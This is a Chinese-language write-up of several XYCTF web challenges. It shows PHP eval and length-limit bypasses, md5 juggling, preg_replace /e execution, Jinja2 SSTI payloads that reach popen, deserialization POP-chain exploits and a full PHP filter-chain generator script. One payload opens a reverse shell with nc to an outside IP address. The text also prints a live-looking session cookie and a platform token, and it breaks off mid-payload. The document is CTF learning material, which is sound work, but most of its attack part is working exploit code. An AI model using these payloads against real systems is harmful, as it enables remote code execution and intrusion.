作wp记录用,仅作知识分享
文章目录
牢牢记住,逝者为大
想你了牢大
题目源码如下:
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");
可以看到这里好多限制:
- 长度限制小于等于13
- 命令执行的几个函数都被过滤了
- 对于val,也就是我们传入的值进行了限制,不能够是上面的
bin|mv|cp|ls|\||f|a|l|\?|\*|\>/
- eval前后都有脏数据
这里其实过滤倒是其次,这边要考虑的更重要的是两个方面:长度限制和脏数据
我这边的思路经历了以下的流程:
- 数组绕过strlen
但是发现不太行,因为我们知道字符串拼接之后数组会直接变成Array:
所以肯定是不行的,只能够老老实实用13个字符限制做这个题
- 执行命令
这里我先把Kobe的限制去掉了,变成:
$cmd = $_GET['cmd'];
这样先测试命令执行
可以看到eval里面前面是一个#
,也就是一个注释符,它能够将后面的内容都注释掉。
所以我们就算写好了cmd也没用,只能够注释掉
但是#
和//
是一样的,都是单行注释符,所以我们只需要换行即可,加个%0a
就可以绕过前面的限制
后半段呢,我打算是用__HALT_COMPILER();
直接终止编译成字符串的,乍看之下它可行,但是实际上这个函数本身就已经超过了13个字符的限制,更不要谈getshell
在这里我就卡住了一会,因为这个HALT_COMPILER
我的印象比较深刻
然后我想着想着突然茅塞顿开,前面的#
注释能不能能用到后面去呢?
然后我就测试了一下:
%0asystem('dir');#
当然这个#
要用urlencode成%23
答案是可以的:
本地测试dir有结果
所以前后都确定了:
%0a + shell + %23
接下来就是在11个字符的限制下打一个shell
想起p神的最短webshell:
你猜怎么着,刚好11个长度
payload那就呼之欲出了
%0a`$_GET[1]`;%23&1=dir>1.txt
回到题目,还对>
做出了限制
所以我这里打算打一个反弹shell,刚刚好题目是出网的:
%0a`$_GET[1]`;%23&1=nc%20106.52.94.23%202333%20-e%20sh
warm up
第一层就是简单的md5
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}
if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}
用下面这个链接全秒了:
反序列化-md5和sha1绕过_md5反序列化-CSDN博客
弱等不想想,直接用数组:
val1[]=1&val2[]=2
下面双md5,在上面的文章随便挑一个就行了
md5=0e215962017
最后这个,我们要先看看这个XYCTF_550102591
md5之后是什么东西
其实还是个0e开头的md5,那就简单了
利用extract
将XYCTF覆盖成和XY一致的变量:
XYCTF=s878926199a&XY=s878926199a
到达第二关:
LLeeevvveeelll222.php
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}
preg_match
,用数组绕:
a[]=1
下面这个preg_replace有点特别,估计是利用\e
来执行命令
preg_replace('/(\S*)/ei','strtolower("\\1")', '{${phpinfo()}}');
抄一下:
a=/(\S*)/ei&b=system('ls')&c=1
出了:
a=/(\S*)/ei&b=system('cat /flag')&c=1
Make File
直接命令执行
echo $(shell cat /flag)
ezmd5
两张图片如下:
ezhttp
登录框,f12找到提示藏在某个地方
其实这个时候可以dirsearch开搜
但是这边可以猜一猜,猜到了robots.txt:
访问这个txt
username: XYCTF
password: @JOILha!wuigqi123$
然后拿hackbar操一下:
ezpop
看到有个throw Exception
就可以想到利用gc回收机制来绕过
链子终点BBB->__get
通过AAA->__toString
访问BBB类的$p
来进入BBB
通过CCC->destruct
进入toString
链子:
CCC::__destruct() -> AAA::__toString() -> BBB::__get()
但是这里要简单的测一下中间这个:
if (isset($b['a'])) {
unset($b['a']);
}
弄出来是个什么东西
这里出了个套娃,简单地看一下
call_user_func($a,$b)($c)($d);
其实就是相当于用call_user_func调用函数A,通过A( c ) 调用函数 B ,然后 B ( c)调用函数B,然后B( c)调用函数B,然后B(d)实现rce
那么要怎么挑选呢?
首先可以根据$b
是一个数组可以确定$a
是一个获取到数组的键或者值的函数,无参rce里的几个函数可以利用得到
我这边就挑选了array_rand,不过他是随机的,但是数组长度只有1,所以array_rand
就是确定的
通过array_rand
能够获取到键名,而且它的键名是一个函数名,我这边选了hex2bin
利用hex2bin
来调用system:
hex2bin('73797374656d');
利用system获取到flag即可,exp如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
//call_user_func($a,$b);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
$a = new AAA;
$b = new BBB;
$c = new CCC;
$c->c = $a;
$a->s = $b;
$b->c = '73797374656d';
$b->d = 'cat /flag';
$d = array(0=>$c, 1=>null);
$result = serialize($d);
$result = str_replace("i:1", "i:0", $result);
echo $result;
//POST传入:a=array_rand&hex2bin=任意
ez?make
反引号命令执行反弹shell:
可以看到源码过滤了这些
我是一个复读机
其实这个题一句话就可以带过:
弱密码爆破+requests.values.xx
传参绕ssti
弱密码选了个asdqwe
,用fuzzdict-master可以爆的出来(某集团常用弱口令字典
)
输入框输入中文以后出的大括号才是ssti用的大括号
🤔,总之就是中文这块比较难想。还是队友帮忙测出来的
找一下os_warp_close:
#http://xyctf.top:52468/index?sentence=()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(1)%E5%95%8A%E5%95%8A&a=__class__&b=__base__&c=__subclasses__&d=__getitem__
import requests
url = 'http://xyctf.top:54392/index?sentence='
cookies={
"GZCTF_Token":"CfDJ8NASxn5J2mJJj3Gt7corBUbSwDa7Z_ojKNGoBIbbzBU0hAxYZnr8o2OyMArTsjctK9kyOFL9rVJpSIyC2a932lZDu4qGq5RtSxgFdbp9N9X5NeWJTW9kTR4I0VSOKyYuh2R2AySdVleI6aDmvCPqkZxcCmKrM-Qp9qnwmz4svu_bHJNYitc72QRcrFgGHc18fwKDItYc7hjDWTPSIYbESQpXfJW5WNh_5jgrsi-HDIr6i0NjILiJyQvIGhC9xMckM5MpK8I_gy2DZizRVghTFimuONxXtgQrMsuR3vF6ZEEpwr19X0AuGRSJZ85vg2dADK6BItD3joDohRn27dwXgVAJZc2hB5H-hzlyNrjmHvMVKCrei3hXyXQyVUJUWUmtix-XSoXnt8V4QS18nOt1Y6D3VXjiRBfRSd9oxess86MonuTbNiv38YV327JNptezmUYZOYdge8R2sttB9EWuVCvq-y0H7xnOYcr6-O0a3oa0k6uOXlgAdPwjtLfJbHUQKRlsN5p--qS6-OdkhRbm33Vqyhgwx8KjHJlIfYZ3N99CLx59zXM2yofyCdSZyJsCC-JzfF39QSlzHrCQdp1OmpHSJbmIpPb5RY5bur8B0FI0ZdgyhNIldRxBbNOIa25jNidBc_982OPVERERTSsSRj-XwDtkuAwGMHN53mHmswj8GzV2zpx9cnB3WpXamuhM9Own_MKYuUZb4Ce3lrbo8ZI",
"session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.ZgvBIA.pXr_8buAz08pydb04GAhCf2KoT4"
}
for i in range(0, 1000):
req_url = url + f'()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)({i})%E5%95%8A%E5%95%8A&a=__class__&b=__base__&c=__subclasses__&d=__getitem__'
res = requests.get(url=req_url, cookies=cookies)
if "os._wrap_close" in res.text:
print("[*]Found " + str(i))
break
else:
print("[*]Testing " + str(i))
payload很简单:
?sentence=(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()啊啊&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
加两个中文就有两个大括号,ssti
用admin asdqwe
登录即可,ssti完了简单扒个源码
from flask import *
import urllib.parse
app = Flask(__name__)
app.secret_key = 'lzlcnb'
# 设置会话密钥,用于加密会话数据
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
# 进行登录验证逻辑,如验证用户名密码是否匹配等
# 登录验证成功
if username=='admin' and password=='asdqwe':
session['username'] = username
return redirect('/index')
return render_template('login.html')
@app.route('/index')
def index():
if 'username' in session:
try:
# word=request.args.get('sentence') # if word=="{{}}":
# word=None flag=0 word = request.args.get('sentence')
balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}']
for i in balck_array:
if word!=None and i in word: word="what are you doing,little hacker"
break
if word is not None:
for i in range(len(word)):
if ord(word[i])>128: word='{'+word[0:i]+word[i+1:]+'}'
flag+=1
else: word="what do you want to say"
if flag:
word="我只能看懂你说的英文(>﹏<)"+word
if "{{}}" in word: word = word.replace("{{}}",'{ {}}')
html='''
<!DOCTYPE html> <html> <head> <title>我是一个复读机</title> <style> body {{ font-family: Arial, sans-serif; background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */ background-size: cover; background-position: center; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; height: 100vh; }} form {{ background-color: rgba(255, 255, 255, 0.8); padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); width: 800px; }} h2 {{ text-align: center; color: #333; }} label {{ display: block; margin-top: 10px; color: #555; }} input[type="text"], input[type="password"] {{ width: 100%; padding: 8px; margin-top: 4px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }} input[type="submit"] {{ width: 100%; padding: 8px; margin-top: 10px; background-color: #007bff; color: #fff; border: none; border-radius: 4px; cursor: pointer; }} input[type="submit"]:hover {{ background-color: #0056b3; }} </style> </head> <body> <form action="/index" method="get"> <h2>我的宝,你说什么我就说什么</h2> <label for="sentence">你想说的话</label> <input type="text" id="sentence" name="sentence" required> <input type="submit" value="tell me"> <h2>{}</h2> </form> </body> </html>
'''.format(word)
return render_template_string(html)
except Exception as e:
return "出现了一点小问题"
else: return redirect('/')
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=8080)
ezSerialize
第一层:
<?php
error_reporting(0);
class Flag {
public $token;
public $password;
public function __construct()
{
}
public function login()
{
return $this->token === $this->password;
}
}
$a = new Flag();
$a->password = &$a->token;
echo serialize($a);
来到/fpclosefpclosefpcloseffflllaaaggg.php
(第二层)
终点类:
C::__call
链子:
C::__call <- A:: __invoke <- B::__get <- D::__toString <- E::__unserialize
不知道为什么打不上去
绕wakeup的,版本估计是7.3了,,:
O:11:"ArrayObject":4:{i:0;i:0;i:1;O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}i:2;a:0:{}i:3;N;}
不绕的:
O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}
你妈的,为什么打不了
我操,原来要把name置成null:
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
$a = new A;
$b = new B;
$c = new C;
$d = new D;
$e = new E;
$e -> name = null;
$e -> num = $d;
$d -> lao = $b;
$b -> luo = $a;
$a -> mack = $c;
echo serialize($e);
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
//O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}
第三层,链子自己看吧,主要利用到一个stdClass()
,可以看一下这位师傅的博客php反序列化小记(1),没什么好说的,链子都是能看得出来的,具体原理大概是如果题目当中没有能够反序列化获取属性的对象,那么可以用stdClass类,这是一个php的内置类
:
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}
exp:
<?php
error_reporting(0);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct()
{
}
}
class XYCTFNO2
{
public $crypto0='dev1l';
public $adwa;
public function __construct()
{
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct()
{
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
$xy3 = new XYCTFNO3();
$xy2 = new XYCTFNO2();
$xy1 = new XYCTFNO1();
$d = new stdClass();
$xy3 -> KickyMu = $xy2;
$xy3 -> N1ght = 'oSthing';
$xy2 -> adwa = $d;
$d-> crypto0 = 'dev1l';
$d -> T1ng = 'yuroandCMD258';
echo urlencode(serialize($xy3));
连连看到底是连连什么看
源码大概如下,记不清了:
<?php
$p = $_GET['p'];
$chain = "php://filter/$p/resource=/etc/passwd";
if(file_get_contents($chain) === "XYCTF"){
include('flag.php');
echo $flag;
}
原理都在_rev1ve
神的博客文章上有
因为base64只能接受[A-Za-z0-9+/=]
,所以其他的不可见字符一旦进入到decode流程就会被忽略
所以很简单,套就是了,一直decode直至只剩下XYCTF
找到一个php_filter_chain_generator.py
,挺高级的利用了,它支持任意的payload写入:
#!/usr/bin/env python3
import argparse
import base64
import re
# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
# No need to guess a valid filename anymore
file_to_use = "php://temp"
conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}
def generate_filter_chain(chain, debug_base64 = False):
encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload
def main():
# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")
parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)
if __name__ == "__main__":
main()
exp:
python3 php_filter_chain_generator.py --chain Vm1wQ1lXTXhTa2RYYTFwWVZWRQ
http://172.17.0.2/what's_this.php?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_